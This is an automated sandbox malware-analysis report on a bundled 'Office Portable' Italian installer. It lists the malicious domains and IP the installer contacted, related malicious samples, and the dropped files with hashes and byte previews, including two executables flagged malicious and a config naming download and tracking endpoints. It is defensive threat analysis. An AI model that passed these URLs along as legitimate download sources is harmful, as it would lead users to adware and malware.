http://www.lollipop-network.com/eula.php?lg=itopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/geo.phpV	cf2dInstaller.exe, 00000003.00000002.504569470.0000000000783000.00000004.00000020.sdmp	true	Avira URL Cloud: safe	unknown
http://services.upd4ter.com/services.php	config.xml.3.dr	false	Avira URL Cloud: safe	unknown
http://www.onekit.com/terms-updater.html	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/api.php	cf2dInstaller.exe, 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp, cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/report.php?PartnerId=EAZELIT&OfferId=1279&action=startedInstall&progr	cf2dInstaller.exe, 00000003.00000002.504707917.00000000007A2000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://download.upd4ter.com/installers/down.php	config.xml.3.dr	false	Avira URL Cloud: safe	unknown
http://srv14.marsads.com/srv/click/?prd_id=254058&pub_id=408&p1=107	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.freetwittube.com/privacy	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://pf.dlvit.com/s/3/9/39073-91837-office-portable.exe	cf2dInstaller.exe, 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp, installer_office_portable_3_2_0_Italian.exe, cf2dInstaller.INI.0.dr	false	Avira URL Cloud: safe	unknown
http://www.eazel.com	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false		high
http://media.vitavita.com.es/xmlstatic/ads/eazel.htmlShowWebInPage	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
87.106.18.122	xmlinstcp.ddbbvt.eu	Germany		8560	ONEANDONE-ASBrauerstrasse48DE	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	531760
Start date:	01.12.2021
Start time:	10:43:45
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	installer_office_portable_3_2_0_Italian.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.winEXE@3/50@1/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 70.6% (good quality ratio 68.3%) Quality average: 84.8% Quality standard deviation: 25.6%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
87.106.18.122	eR9vvp7fog.exe	Get hash	malicious	Browse	xmlinstcp.ddbbvt.eu/cmd/precompiled.html?q=1&mayor=6&minor=2&spack=0
87.106.18.122	nFx1eHz4MV.exe	Get hash	malicious	Browse	xmlinstcp.ddbbvt.eu/cmd/precompiled.html?q=1&mayor=6&minor=2&spack=0

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
xmlinstcp.ddbbvt.eu	eR9vvp7fog.exe	Get hash	malicious	Browse	87.106.18.122
xmlinstcp.ddbbvt.eu	nFx1eHz4MV.exe	Get hash	malicious	Browse	87.106.18.122

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ONEANDONE-ASBrauerstrasse48DE	draft_inv dec21.exe	Get hash	malicious	Browse	216.250.120.206
	CgEOfPBqz1.exe	Get hash	malicious	Browse	217.160.0.121
	Document.xlsx	Get hash	malicious	Browse	217.160.233.219
	xPj5d9l2Qg	Get hash	malicious	Browse	74.208.211.172
	Linux_amd64	Get hash	malicious	Browse	82.223.128.104
	PURCHASED ORDER CONFIRMATION UGANDA.xlsx	Get hash	malicious	Browse	77.68.118.64
	ftgSUfxxkX.exe	Get hash	malicious	Browse	217.160.0.89
	Refteck Purchase Order - ME1540018485.doc	Get hash	malicious	Browse	217.160.0.86
	6mG1K5wMEu.exe	Get hash	malicious	Browse	217.160.0.250
	PURCHASE ORDER HECTRO.xlsx	Get hash	malicious	Browse	74.208.236.211
	chizzy.exe	Get hash	malicious	Browse	74.208.236.125
	LBHkeG0UJk1YkgS.exe	Get hash	malicious	Browse	74.208.236.102
	TPS2104503 #U7ff0#U806f G519 BL DRAFT.exe	Get hash	malicious	Browse	217.160.0.213
	QUOTATION REQUEST DOCUMENTS - GOTO TRADING.exe	Get hash	malicious	Browse	217.160.0.229
	71rSPOfhE6.exe	Get hash	malicious	Browse	74.208.236.123
	QUOTE.exe	Get hash	malicious	Browse	217.160.0.159
	vbc.exe	Get hash	malicious	Browse	217.160.0.5
	Incorrect_Payment Details MT144_SWIFT.exe	Get hash	malicious	Browse	74.208.236.24
	PO-2003451.xlsx	Get hash	malicious	Browse	217.160.233.219
	justificante de la transfer.exe	Get hash	malicious	Browse	213.165.67.102

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\ButtonEvent.dll	M482R9PvH5.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\System.dll	userbenchark.exe	Get hash	malicious	Browse
	SXXXY8SJL7.exe	Get hash	malicious	Browse
	codecs.for.windows.7.pack.v4.0.5.setup.exe	Get hash	malicious	Browse
	vcredist_2010.exe	Get hash	malicious	Browse
	vcredist_2010(1).exe	Get hash	malicious	Browse
	v.exe	Get hash	malicious	Browse
	okIQd4f03Z.exe	Get hash	malicious	Browse
	UniWriter_v4-50_20210907.exe	Get hash	malicious	Browse
	UserBenchMark.exe	Get hash	malicious	Browse
	Unlocker1.9.2.exe	Get hash	malicious	Browse
	PCWProtectorSetup_Voice_Service.exe	Get hash	malicious	Browse
	DF7049B8C4D704376BE3920232B1BA6B2C8CF2FF0F9CF.exe	Get hash	malicious	Browse
	DF7049B8C4D704376BE3920232B1BA6B2C8CF2FF0F9CF.exe	Get hash	malicious	Browse
	OlqEbWmiBN.exe	Get hash	malicious	Browse
	WiseConvert.exe	Get hash	malicious	Browse
	WP6TzYzWmG.exe	Get hash	malicious	Browse
	WP6TzYzWmG.exe	Get hash	malicious	Browse
	GgIUkupW7u.exe	Get hash	malicious	Browse
	sonus_2_3_15.exe	Get hash	malicious	Browse
	connect_901059.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\ajax_loader.gif Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	GIF image data, version 89a, 32 x 32
Category:	dropped
Size (bytes):	3208
Entropy (8bit):	7.5272509100759
Encrypted:	false
SSDEEP:	48:3y9wXprWPLjhl4TRpiPvZmjkzpB0IdmXgl7gpx2DgG1LyZtngoA/3zlSMilKNhGa:3yy5CPxl9hUQipx2k3ZtgoC3sMnNhOQ
MD5:	60D1F98DBB5A6EA9AC747C3E46C0C628
SHA1:	25E7652B0EC4960AFBB84ADF52FD97D8A4E0048B
SHA-256:	3D0580226138C9673AADAAF64D97C2A7C720D538F146C51C2C722D34E7FFA500
SHA-512:	E77A7FC0189AE278799F6BBFA23685081FCBC004DFD159C45A85122D8BD7F0273399A7C2C24FF1D69CC8FFD18784CA090A6F393220C09CFAE66D104911C4BA3F
Malicious:	false
Reputation:	low
Preview:	GIF89a . .......KK_..........qq.............``qMMa.........!..NETSCAPE2.0.....!..Created with ajaxload.info.!.......,.... . ......Iia....bK.$.F...R.A.T.,..2S.05//.m.p!z...0...;$.0C....I!.HC(A@.o...!39T5.\.8)....`..d..wxG=Y..g...wHb..v.A=.0.V\.\.;........;...H.........0..t%.Hs..rY<H..........b..Z.b.OEg:...GY]..=.A.OQ.s....\b.h.9.=sg...c..e....*...f.7D..!.......,.... . ......IiY...YF5..F..R..Tb.G.J....L..d...&.Ymx...... \...@........ ....1..&R....H..4.1Q..\|V..%.z.v...#j0....l.Gg{0~..<.<..[.[.h.x..G...y.........[.0....G.....P.z...h...kz..i....y....h\|z.h.G..V.......\h..[........&.+..W.7.8...!..!.......,.... . ......I)1....1G5d].(..R..T2..jL.{..< .[.5.M....0..)... L...I...m..E..`....p..U....^f.%..^.......u.;..zz.}0.X....S0.ew.y.k<..%..O.......z..{....\|......%......F.i.1.0......Y.....8.x.....z..@....<...............8..Y<......8.\.P.$...!......!.......,.... . ......I.....g.EU... .R.a.TB.....p>'...e..$.."...\.#E1C.n.....~...J.,..,Aa.....Uw^4.I%P....u.Q.33.{0..i1T

C:\Users\user\AppData\Local\Temp\cf2dInstaller.INI Download File
Process:	C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	421
Entropy (8bit):	5.051156253951793
Encrypted:	false
SSDEEP:	6:icE4RYjXAJ6ZypsfKgWjWAIVvKixK1NNUWRLxK8rNJRoRuypsfiNNDDAk2E6Lo8K:sNwQQyVWyXx2/K8Rsyanfgow8HDvn
MD5:	A9E48E16A9FC0C035B574E7B66A9CD6B
SHA1:	B88406CB41D0083A0F98EF29D5A5F7EFB6BB13C6
SHA-256:	EF3C12CDBE910412167BA0F17B7947E26D1DA2028A4ED91823CC02D3E4A14B35
SHA-512:	E80D0C62E7A72B93007E3F0008AABF9EC1EECA72751B11B319F599B28FD1D8ECC6843938AC2DD21D529C248EB518B581ADDAF1C2C9ABC77A2B682C2FDC2A708A
Malicious:	false
Reputation:	low
Preview:	platform_version_id=91837..program=Office Portable 3.2.0..program_urlencoded=Office%20Portable%203.2.0%20..program_io_name=Office_Portable_3_2_0..program_logo=http://media.sftvit.com/icoinstall/categories/windows.png..program_and_version_urlencoded=Office%20Portable%203.2.0%20..program_url=http://pf.dlvit.com/s/3/9/39073-91837-office-portable.exe..soft_filename=39073-91837-office-portable.exe..ua=msie..b_sem=_SEMNO_..

C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe Download File
Process:	C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	981864
Entropy (8bit):	7.961082608943913
Encrypted:	false
SSDEEP:	24576:h3QOz82LEaXZK8mLE3YbguLQNkXqSM0s94V:Jz82dXY8mKmwkXH+y
MD5:	8A068C0F475218137F1C169063D27A46
SHA1:	1D0B127275F4F2211C689906B16E690486F8E155
SHA-256:	E67C2422C943FFE760760A583E51246EEEC895CC486CB6344FA3ACAC530306B7
SHA-512:	70C11AE1B5BE4A5E4F985AEE17386BF4B4A0870AF357C43F2871A8DD01C154800E3679AC5D04285AFC21D11C7DDB15B2C75D4477170F4C437F7581E40D12B53E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i..iw..iu..i...i..id..i!..i...i...it..iRichu..i........................PE..L......K.................^...........0.......p....@..........................................................................t.......@...U...........................................................................p...............................text...L\.......^.................. ..`.rdata.......p.......b..............@..@.data...X\...........v..............@....ndata...P...............................rsrc....U...@...V...z..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cf2dfondo.bmp.zip Download File
Process:	C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	47876
Entropy (8bit):	7.975998599947352
Encrypted:	false
SSDEEP:	768:sJ22PsuLWe7aTWuGpipgf8fqMYjbzX6bbku5Em+xyrcem+2B7nv3pIt+vwDgl:sfP/KLquGp1U3rcem3pIO
MD5:	A71B9374E77DFB91BACFFAEA1927CB1F
SHA1:	7DB2FF6E8809F32D75A656DE5E2BDF069C467F7F
SHA-256:	19E7DA2D37809929713BDD7A98848894626738760B9C08058751C5BFDC0FFC8A
SHA-512:	326ADF9BBD1C63FE7E265E008E8922E35CD4254FFD9925380EDA88E9C97BB312315AC1F36479E884C6AC5FD76E3240E751791CD923A9903C59671D587BD686F7
Malicious:	false
Reputation:	low
Preview:	PK.........\|.B0.......:......fondo.bmp.....U.6.......{.....<3:..0`@D. b...%.&.&.,A0g@D..ArF.A2t...t......9/.Y.]U}....w..T...NU.......kW\|......=....o.....7../...u.i.....Y.f.iZ.j..+W..;+N....-[.t..e1Z..o..fI.d..x..c..%...'..y......1.O..TxB<-....!F.7n.i......c..4m.e...N.?..M.....p&.........~....C....\..._\|...sO...={...f..... >.~..w.}..O>........o..G...};.......9n....O.8q..c..#F..2d...........1..{...(Z.H...@.c-..^.kB.,Z.(.kA.....8...5.w....w....... =...n.I...vE;v..'....:q.M.7Z.p.!.._}.....?......5....O...1...\|..f...<\|rr2~.....z.<y.d.;j.(.=e.....>\|....z.aC...4h..../P....h."..@,(.<M.....(.yY.Fo.g..r..$.IH?..../...../..F...n.K...]..G.t.O.q.ap..~...W.../...y.4k.k.........;...@.B@..oN..k..6>F..X..9.X....np........^.z........Zz.."BEz......`M...1\|-."..\.7_.t.4.K/......d........E{....@ON...qC.s..].`. .."...$ ;3F.h.h.>.&%%...W.....M..P..&M......X....`...........$.#m.b-p.}......V.......2..+.].w9]....@..&...}.i..........`7pS......`j.6>...h..

C:\Users\user\AppData\Local\Temp\cf2dheader.bmp.zip Download File
Process:	C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	5827
Entropy (8bit):	7.940233612594419
Encrypted:	false
SSDEEP:	96:2RYD2XBz4TqUlq/s9gwe16SrX+3BK3ILlXvcVnqfY/kARitOhWiF6WbuA1zHou2i:PD8BMmUlq/su716mt3Elf8qykGie5SOP
MD5:	08673324E5C6391BBE83FC49CD5E4D1B
SHA1:	255F334177F250E73CD216F749ADE69C6A06A8C1
SHA-256:	7D2A4A3046B6466C42C020C5D6C423DD611865234BBA8BF0F35E1D88C769836E
SHA-512:	362F52329E965CC53D6EC145D74BC0B6B505D01BCD698E13577118591A579B93D37B93DA2A26DE32A3C70B7FA70F0EB3FD2CDB638639537E0D5D6CA2DA4F2359
Malicious:	false
Reputation:	low
Preview:	PK.........\|.B~...M....d......header.bmp..T.W..+}.3=3}.gN:=Ng9f1&.5..K4....h4.....wYD.............6AEEPp."n..a.....<....}_.U......\|.^...w....o..Vu\|/.9.!-.z...x...1...J..bwJ."6E.R.2..vJ.C.....rH.S.....r.)7...P..G!.!.]....w..W.w.+W....;.S.:.S.;$.!.....T..Q.5..,W..Iq.S.9i&'._.ON.O.9s.!l./..k-.......P0.:E....P.(.......sT.Jp$z....!,.RxM.H...=.r.2.a$I....7!C!......v..Ik.'..,4..x.}..0TU..)(.+......w..S..rY.........#CQB.<{.l=...)T.M.......0....C.....Y9.....j...b.8...C.A...{.....S...s......+=.".E.(..{....zAt.,....D2.<...cd...0Q.{..u...!Z...U..........h#.T..:.....3T.P..cXc.lPFU......l...aD..J.........[..:t(....D....Q.E....jW.1>......CrC..+....1$..P..J(...P....b.J..T...W4.F..W:+..(.8p`n..f.2Z\|..">!==......e.f.\TEB.a.<<..Q.P...[H.....{BV...,...B...P=.N........'.%...tY..C.....i..7.....N.O.PQ..,.....a3..Tm)z...]K..(QHTB..hF..I.+.(..~..B.........".[...~....^.9]..k......222.X.4Pg.y"4[...m.5bT...Q....Q....CT....I..%C......Y OF3..z.id...:..@......=7.

C:\Users\user\AppData\Local\Temp\config.xml Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	680
Entropy (8bit):	5.307923443702561
Encrypted:	false
SSDEEP:	12:TMHd3HmCKxL9++ZOe/+nITx+GzKzPL79BRxJgOXHNkBjsx/+3WgD9Fg+/cC/dTi5:2dXEJKInynPHajselDQU8
MD5:	4F56087D3CDB749A1BA2576545E3F06E
SHA1:	05E4F69648921834EFCBC4325C30AEC3E914DFAB
SHA-256:	C5EAE6C73ACC92DDC3557563A1E5D7453633C1F20BC68AC430B99F8CE0371C5D
SHA-512:	03EBC89E7676C63DB6870EAF29C6A7AB0D0658BD9CAE09D47686229C6CADFE3EC3519B5AC51324E98CA2616684A3D6FC685CB780F0082EBD9AA07A522CB1DFF3
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.<CONFIGURATION>. <PARTNER>EAZELIT</PARTNER>. <LANGUAGE>italian</LANGUAGE>. <LANGUTF8>Italian</LANGUTF8>. <LANG>it</LANG>. <PANEL_HOST>http://www.uplstatsone.com</PANEL_HOST>. <SERVICE_URL>http://services.upd4ter.com/services.php</SERVICE_URL>. <MEDIA_URL>http://media.vitavita.com.es/</MEDIA_URL>. <INSTALLER_GENERATOR_URL>http://download.upd4ter.com/installers/down.php</INSTALLER_GENERATOR_URL>. <INSTALLER_HOSTNAME>www.uplstatsone.com</INSTALLER_HOSTNAME>. <UD>ok</UD>. <GEO_URL>http://www.uplstatsone.com/cmd/geo.php</GEO_URL>. <IP_URL>http://www.uplstatsone.com/cmd/IP.php</IP_URL>.</CONFIGURATION>..

C:\Users\user\AppData\Local\Temp\coupish_largo.gif Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	GIF image data, version 89a, 140 x 60
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	6.920387718306231
Encrypted:	false
SSDEEP:	48:tDnZ42AlGNJ6bq4dmuzbLQPmiiWGes6keVQvG:NnmnaJemUYBiP62O
MD5:	4C6FFA9DCA7D1C6B83EB054D53FF960B
SHA1:	BE77F43EE7C96A76732B8A2C76246526C9DE4E7C
SHA-256:	920B81307410F2808B846BB4C8F6B83B7B18B9E7E15C868823B33D31058BEA7C
SHA-512:	4B0210F2A8E682738B73814445BE8CF31C26A58EA95CCA35A83702142E19609B75FC0816E367681606B010F1F3F4A4E6803415C130F59F92D8AD4FD88E45D224
Malicious:	false
Reputation:	low
Preview:	GIF89a..<................................................$..&..........'.#-:...$..(4C...(.%0.+2..9K=1.g).3C.6A>.4..7.DU.._{CX..C..C..m.Nf..I..v........U....^}..Y..Z.c...[..r.}~..^.....]..^........d..d..e..e..e..f..f..f..f..f..g..g..g..h..i..k.u....w...w.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!..Created with GIMP.!.......,......<........H. A....\....#J.H.a...l......05:..H...(.".Q..&K..M.)..O~.DI..O..f....."E3...(..4?.J..@.FE..E..k#In...K.@.JZ.r..U...p.....QZ......;} Ib+...p5..jt..A..0t.hRe... .,5.

C:\Users\user\AppData\Local\Temp\dealply_largo.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 165 x 54 x 24
Category:	dropped
Size (bytes):	26838
Entropy (8bit):	3.662555348293304
Encrypted:	false
SSDEEP:	192:S54NnBK0GCPhB1eZ8lECy6avs+chBoQkRg/8c:+49BNGCPsZ8lECy6ss+chBoQkRg/8c
MD5:	132E8D8C56DD6B23D49892BA742F18DE
SHA1:	40C679CD1CE8C158C46B6147BE25BC8E28A2C9A3
SHA-256:	AF8D573B52835F24BE79952DF6984C0D97DF15FB05782E4FDA4F3621C92ED8F9
SHA-512:	71A34F99C07F88E26ACA2FACC7476CC817BC2C2FEB9641552EB8EF091CC44304889925872E5B9532E04A810523E437BC977E3301FBAE1EEDB2209802D930BF88
Malicious:	false
Reputation:	low
Preview:	BM.h......6...(.......6............h....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\freetwittube_image1.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 222 x 42 x 32
Category:	dropped
Size (bytes):	37350
Entropy (8bit):	1.9465841104240087
Encrypted:	false
SSDEEP:	96:jQfyfae7H1v1aRaQasaoaWgaGwxKQnWvzayataJaZavas:jWyye7Hy8P7HWfhxK4BJoUkCs
MD5:	C186E954DCD3EA9452C7F3B457E62FDF
SHA1:	EA5E250E92B3A001FE83034D4F512F9B1824A46F
SHA-256:	127BE0E3DB5B08E186F6E4A2C09E5B2006DCCE761C52202B531B223BDBE3CECE
SHA-512:	CC717B1C1995FFF07C81C765C011195C2CB3FEB7DD1418DD308E804C776C5B223B80E4722AB49657D5AD3D1031A82930A00C7F1F6343EDD4DF286420FA488D15
Malicious:	false
Reputation:	low
Preview:	BM.......6...(.......*..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\freetwittube_logo.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 220 x 55 x 32
Category:	dropped
Size (bytes):	48454
Entropy (8bit):	3.9120900876558777
Encrypted:	false
SSDEEP:	384:Ejbd12t83f9Dra2JJJUkNTmRLyapyisyhc8kGeTWPFyayX2zHdj8dE10s:EFN90tDSNTUI72zCHs
MD5:	D8BC4C07598A49F61B8CD77D0EFA7342
SHA1:	28396B3651530684957670E3287EFD8241096951
SHA-256:	5D7C4ED3DA8D89BD15002B5B976C0FB1DF55AC4F4E6946819513757AA810E2C0
SHA-512:	87AC9D644FABEAEEE1C6C946ED2575F03F2280CDDF96A79517C6D233CF98B459F954BE8E3EBDC52AA455D2883972C077B056A5EB18EBBCC464E5BF9A31166610
Malicious:	false
Preview:	BMF.......6...(.......7..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\freetwittube_text.rtf Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	Rich Text Format data, version 1, ANSI
Category:	dropped
Size (bytes):	6954
Entropy (8bit):	4.9514486598009935
Encrypted:	false
SSDEEP:	96:V70bGGMW7Jt6ccnh4xQG5xqWeJ/LG5xIat4pG5xSgMOA9IG5xScG574/+g7EG5xJ:+Q3DN5pLyKAROhv1
MD5:	CD3249FA146DE7FED03F26A7063A56FB
SHA1:	9B3138B6C097D49F7A50BC67D01B2441AE0C9525
SHA-256:	33ECAD3D49717A103B90AD6B340D00672AAB8EAD656FF11C9EE7BC00CA4F0BBE
SHA-512:	A5EF602EE62D332C7BB6B32B224FC0932494D9657E6E72E9127BBED44455729BE3C4517B5BBFC2447B60E13D7113AF996D31B8D19E27F37C6841D83F669A013B
Malicious:	false
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset0 Times New Roman;}{\f4\froman\fprq0\fcharset1 Times New Roman;}{\f5\fswiss\fprq0\fcharset1 Arial;}{\f6\fnil\fprq2\fcharset0 Droid Sans Fallback;}{\f7\fnil\fprq2\fcharset0 Arial;}{\f8\fnil\fprq0\fcharset1 Lohit Hindi;}}.{\colortbl;\red0\green0\blue0;\red0\green0\blue128;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\ql\nowidctlpar\ltrpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\dbch\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f4\fs24\lang3082 Predeterminado;}.{\s15\sbasedon0\snext16\ql\nowidctlpar\sb240\sa120\keepn\ltrpar\cf0\kerning1\dbch\af6\langfe2052\dbch\af8\afs28\alang1081\loch\f5\fs28\lang3082 Encabezado;}.{\s16\sbasedon0\snext16\ql\nowidctlpar\sb0\sa120\ltrpar\cf0\kerning1\dbch\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f4\fs24\lang3082 Cuerpo de texto;}.{\s17

C:\Users\user\AppData\Local\Temp\instloffer.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	168664
Entropy (8bit):	7.850848992862632
Encrypted:	false
SSDEEP:	3072:+gXdZt9P6D3XJ8kpwHIDLqJO4cJSNhh67Ywksl/LSLEDTOBuDOOs:+e34ukiHtJO9ZBSLE+jb
MD5:	401E12C0D4D4DB7C115D40892ADDA4A3
SHA1:	B07AE4B13928E0B5EB43918A0AC102068EEC2C5E
SHA-256:	08CCE24369DC64ADB195E18BA64F526A3EC3D42CC78B21592029882DF911D446
SHA-512:	9A4E09DD93578B114FAD1F0E3BB4AF3DE6E0483C108EC6D0DBFC85839376A81A400F4E68E2F245279406955ECAAEE987B7B4651561706F3789E3F8CFDF402284
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 52%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i..iw..iu..i...i..id..i!..i...i...it..iRichu..i........................PE..L......K.................^...........0.......p....@..........................................................................t......................`...x............................................................p...............................text...L\.......^.................. ..`.rdata.......p.......b..............@..@.data...X\...........v..............@....ndata...................................rsrc................z..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\license.rtf Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	Rich Text Format data, version 1, unknown character set
Category:	dropped
Size (bytes):	17232
Entropy (8bit):	5.006883049212708
Encrypted:	false
SSDEEP:	192:doyiNubCHjJnzePWKI3TgHcHW4hGK64rOfn0sJEs1KU3WJlCeJwFSQtrY/+s4O+d:OyU0vIj3WB00dMQlnd146IQWs
MD5:	28799B5B48E362D9C4E50891E471CD52
SHA1:	A2EC3F4E8370C2A5D27EA7112BDB3A27DB761008
SHA-256:	7B6E9828C072B480F84004EDDEED1FE50664D224973DE1D440AF93D8C8ADFB6B
SHA-512:	C151A2F13D8DD25F8217CEA51374E3AD11075A132945D0F15993738EBAB0D5D1A6948BFE63A2AF7EA73A26F1478EF1DD53A5CD8482608620A9C3762B67F5CD67
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang3082\deflangfe3082{\fonttbl{\f0\froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f220\froman\fcharset238\fprq2 Times New Roman CE;}..{\f221\froman\fcharset204\fprq2 Times New Roman Cyr;}{\f223\froman\fcharset161\fprq2 Times New Roman Greek;}{\f224\froman\fcharset162\fprq2 Times New Roman Tur;}{\f225\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}..{\f226\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\f227\froman\fcharset186\fprq2 Times New Roman Baltic;}{\f228\froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\f230\fswiss\fcharset238\fprq2 Arial CE;}..{\f231\fswiss\fcharset204\fprq2 Arial Cyr;}{\f233\fswiss\fcharset161\fprq2 Arial Greek;}{\f234\fswiss\fcharset162\fprq2 Arial Tur;}{\f235\fbidi \fswiss\fcharset177\fprq2 Arial (Hebrew);}{\f236\fbidi \fswiss\fcharset178\

C:\Users\user\AppData\Local\Temp\lollipop_moreinfo.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 150 x 173 x 24
Category:	dropped
Size (bytes):	78250
Entropy (8bit):	4.5813931900201075
Encrypted:	false
SSDEEP:	768:t1V+X/+zCZoSVpLr+0gYjiAnIceFr8+VYGn8ysI:t1Vo0Mr+0GAnI9FZ2GnP
MD5:	874F46F1EA1D02461878D06952E0C46B
SHA1:	9A20E384FA699E8267D87EA8B3EEF4C9DB3C472A
